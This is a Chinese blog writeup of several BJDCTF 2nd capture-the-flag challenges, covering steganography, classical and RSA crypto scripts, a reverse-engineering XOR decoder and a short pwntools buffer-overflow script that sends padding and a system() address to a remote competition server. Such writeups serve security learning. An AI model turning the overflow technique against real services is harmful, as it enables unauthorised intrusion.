当前位置:首页 > DayDayUp > 正文内容

[WP]BJDCTF-2nd 部分题目简略的wp

Luz2年前 (2020-03-21)DayDayUp800

各位师傅脑洞太大了,我太菜了!

MISC部分


image.png

7zip无视任何伪加密

解压后用HxD 发现应该是png的文件 ,修改文件头得到图片

image.png

十六进制的ascii 转一下得到flag


image.png

修改png图片高度得到flag 过程略


image.png

分离得到压缩包 压缩包里有个伪装程jpg的avi文件

使用ffmpeg分帧得到图片序列 

发现几张图片中有二维码

image.png

整理一下扫一扫得到十六进制ascii 解密得到flag

ps:有一张二维码我分离出来是很糊的,究其原因是二维码和背景穿插在一起了,写了个小工具隔行提取像素

image.png

好分辨多了


image.png

发现图片像素部分不是很整齐,猜测在数据里加入了什么奇怪的东西。直接拖进HxD搜索BJD获得flag


image.png

伪装成png的jpg结尾有个损坏的zip,修复一下文件头提取出来

image.png

是个不是十分清楚的二维码,之前写过一个工具把01转成二维码 的

这里可以把#号和空格先转成01,再用工具来转图片

扫描得到信息:

od -vtx1 ./draw.png | head -56 | tail -28

linux下跑一跑

image.png

好像存在若有若无的信息

复制出来把00替换成空格

image.png

得到flag


image.png

image.png

属性里发现新与佛论禅密码

image.png

题目信息需要把com删掉再猜

outguess解密获得flag



image.png

发现文件名就是解压密码,但是有好多好多的压缩包套在一起

简单写了个脚本来解压

#coding:utf-8
import os
import zipfile
zipfile_addr0='C:\\Users\\80597\\Desktop\\uSCYwZqgj\\'
zipfile_addr=zipfile_addr0
pwd='uSCYwZqgj'
lastname='uSCYwZqgj'
while(1):
    zip_file = zipfile.ZipFile(zipfile_addr+lastname+'.tar.gz', 'r')
    for names in zip_file.namelist():
        zip_file.extract(names,path=zipfile_addr0,pwd=pwd.encode('ascii'))
        pwd=names[:-7]
        print(pwd)
        print(names)
        lastname=names[:-7]

报错的时候就是解压完的时候,最终解压出一个flag文件,打开获得flag


image.png

太麻烦了没有做,大概思路是根据MP4文件的声音和图形,在 http://taqini.space/mikutap/

找到正确的输入方式,音痴听不出来声音差别,加上有几个按键的图形是一样的,不会写脚本就没做

CRYPTO部分

image.png

base64解密获得flag


image.png

标一下拼音再读一遍获得flag


image.png

image.png

按着猫吃的东西的种类转成01,获得二进制编码的ascii码,解密得到flag


image.png

image.png

对着密码表得到flag



image.png

十六进制转ascii得到一个密码和一串像flag的东西,维吉尼亚密码解密得到flag


image.png


image.png

quipqiup解密得到flag0,发现flag0最后的Cr4cy有点奇怪,改成Cr4ck提交成功。


image.png

已知p+q,p-q,e,c

#coding:utf-8
import gmpy2
import rsa
pq1=22250388048308880024316977349809341685939423162948275675947994085277054361774080494965261301741886719459528418084716960924861010295152524116880106497751522
pq2=1054197181278220421888166119550140206534865025301161131046113252425996692768421411790410456867577308951447266942967113049841752689395865305880406455068220
p=(pq1+pq2)/2
q=pq1-(pq1+pq2)/2
n=p*q
e=14354833
c=68975112462890588270208172994998743048269763196801643704249476699155516613422462080922918826015370109617536436870486169450728501884086888980608553291557303300708412437649232464407278064464958090097840631966205830777344512480936853537170969350350938450458067949421536725209001694542396593041569244275234737354
d = int(gmpy2.invert(e, (p-1)*(q-1)))
m = pow(c, d, n)
print("十进制:\n%s"%m)
m_hex = hex(m)[2:]
print("十六进制:\n%s"%(m_hex,))

得到ascii码的十六进制形态,转一下获得flag


image.png

已知p^2+q^2,p-q,e,c

#coding:utf-8
import gmpy2
import rsa
p2q2=gmpy2.mpz(259870150123202155454079964196229682318882693733539125242181833753341522297911395053147840768751918376164416317984514098945599534262350832868637788562885745274992015203575025030520640189057961708030793208096741255732498859326630721887405343134923671852707579754268030462046680489211147355847068685567008847050)
pjq=gmpy2.mpz(1180860509687096025228744618117184943328163071354319023947142766094690788978515122755023082429739737904484382341771193026821616292827580560261545374978242)
e=14895131
c=gmpy2.mpz(26187382623647278373304895968254513957970995846994656651856434786558410150064637317346872011072665992032405303757734513417189115004205856776310280756771373475612428904395880721184617021494677547829121069525059620157504999409025383169676626532774335579689448879911225100594216817651872138927531391118873652889)
pq=(p2q2-pjq**2)/2
print p2q2+2*pq
pq2=gmpy2.iroot(p2q2+2*pq,2)[0]
print pq2
p=(pq2+pjq)/2
print 'p:'+str(p)
q=pq2-p
print 'q:'+str(q)
n=p*q
print p+q
print p**2+q**2
d = int(gmpy2.invert(e, (p-1)*(q-1)))
m = pow(c, d, n)
print("十进制:\n%s"%m)
m_hex = hex(m)[2:]
print("十六进制:\n%s"%(m_hex,))

得到ascii码的十六进制形态,转一下获得flag

PWN

image.png

#coding:utf-8
from pwn import *
p=remote("node3.buuoj.cn",26768)
#p=process("./r2t3")
#attach(p,'b strlen')
sysaddr=0x8048430
binaddr=0x8048760
i=1

while(1):
	#p=process("./r2t3")
	#p.sendline('aaaaaaaa'+'\x00'+'a'*100)
	p.sendline('a'*21+p32(sysaddr)+p32(binaddr)*1000)#暴力可以解决很多问题
	i=i+1
	print i
	#try:	
	#	print p.recv(timeout=1)
	#	print p.recv(timeout=1)
	#except EOFError:
	#	p.close()
	#	continue
	#p.close()
	p.interactive()



RE

image.png

IDA里shift+F12 搜索字符串得到flag


image.png

16位程序用IDA反汇编效果不是很好,从吾爱破解淘了个工具过来

image.png

虽然看不太懂,这个和1F异或还是很明显的

结合之前在IDA里找到的字符串

image.png

写脚本拿flag

image.png

#include<stdio.h>
#include<string.h> 
int main()
{
 char a[]="]U[du~|t@{z@wj.}.~q@gjz{z@wzqW~/b;";
 for(int i=0;i<strlen(a);i++){
 	printf("%c",a[i]^0x1F);
 }
}


分享给朋友:

评论列表

访客
访客
2年前 (2020-03-23)

太强了

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。